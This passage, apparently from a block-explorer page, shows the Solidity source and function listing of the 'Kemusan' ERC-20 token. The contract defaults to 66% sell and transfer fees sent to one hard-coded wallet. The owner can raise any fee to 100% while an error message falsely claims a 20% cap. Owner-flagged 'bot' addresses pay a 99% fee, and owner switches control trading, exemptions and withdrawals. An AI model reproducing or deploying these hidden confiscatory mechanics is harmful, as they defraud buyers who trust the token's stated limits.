function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract kemusan is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode'Kemusan';
string private constant _symbol = unicode'Kemusan' ;
uint8 private constant _decimals = 9;
uint256 private _totalSupply =6900000000 * (10 ** _decimals) ;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
bool private swapEnabled = true;
uint256 private swapTimes;
bool private swapping;
uint256 swapAmount = 1;
uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 private liquidityFee = 0;
uint256 private marketingFee = 0;
uint256 private developmentFee = 1000;
uint256 private burnFee = 0;
uint256 private totalFee = 3000;
uint256 private sellFee =6600;
uint256 private transferFee = 6600;
uint256 private denominator = 10000;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal development_receiver = 0xBf64b29921CF1c4040F149D56a63B5462662167a;
address internal marketing_receiver = 0xBf64b29921CF1c4040F149D56a63B5462662167a;
address internal liquidity_receiver = 0xBf64b29921CF1c4040F149D56a63B5462662167a;
uint256 public _maxTxAmount = ( _totalSupply *100 ) / 10000;
uint256 public _maxSellAmount = ( _totalSupply * 100 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 100 ) / 10000;
constructor() Ownable(msg.sender) {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router; pair = _pair;
isFeeExempt[address(this)] = true;
isFeeExempt[liquidity_receiver] = true;
isFeeExempt[marketing_receiver] = true;
isFeeExempt[development_receiver] = true;
isFeeExempt[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function startTradingLONG() external onlyOwner {tradingAllowed = true;}
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
}
function setContractSwapSettings3(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000));
minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
}
function setTransactionRequirements3(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
}
function setTransactionLimits3(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
_maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
uint256 limit = totalSupply().mul(5).div(1000);
require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
}
function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
}
function setisBot3(address[] calldata addresses, bool _enabled) external onlyOwner {
for(uint i=0; i < addresses.length; i++){
isBot[addresses[i]] = _enabled; }
}
function manualSwap3() external onlyOwner {
swapAndLiquify(swapThreshold);
}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(development_receiver, _amount);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
uint256 contractBalance = address(this).balance;
if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
if(recipient == pair){return sellFee;}
if(sender == pair){return totalFee;}
return transferFee;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotalFee(sender, recipient) > 0){
uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
Read Contract
_maxSellAmount 0x7cca52fe → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletToken 0x78109e54 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getOwner 0x893d20e8 → address
isFeeExempt 0x3f4218e0 → bool
isOwner 0x2f54bf6e → bool
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 13 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap3 0xaf6a0705
No parameters
rescueERC20 0x8cd4426d
address _address
uint256 percent
setContractSwapSettings3 0x561653f0
uint256 _swapAmount
uint256 _swapThreshold
uint256 _minTokenAmount
setInternalAddresses 0x9213c358
address _marketing
address _liquidity
address _development
setTransactionLimits3 0xdde7e9d1
uint256 _buy
uint256 _sell
uint256 _wallet
setTransactionRequirements3 0x4a709d9d
uint256 _liquidity
uint256 _marketing
uint256 _burn
uint256 _development
uint256 _total
uint256 _sell
uint256 _trans
setisBot3 0x07107747
address[] addresses
bool _enabled
setisExempt 0x48ff2b8b
address _address
bool _enabled
startTradingLONG 0xf88eb80a
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address adr
Recent Transactions
No transactions found for this address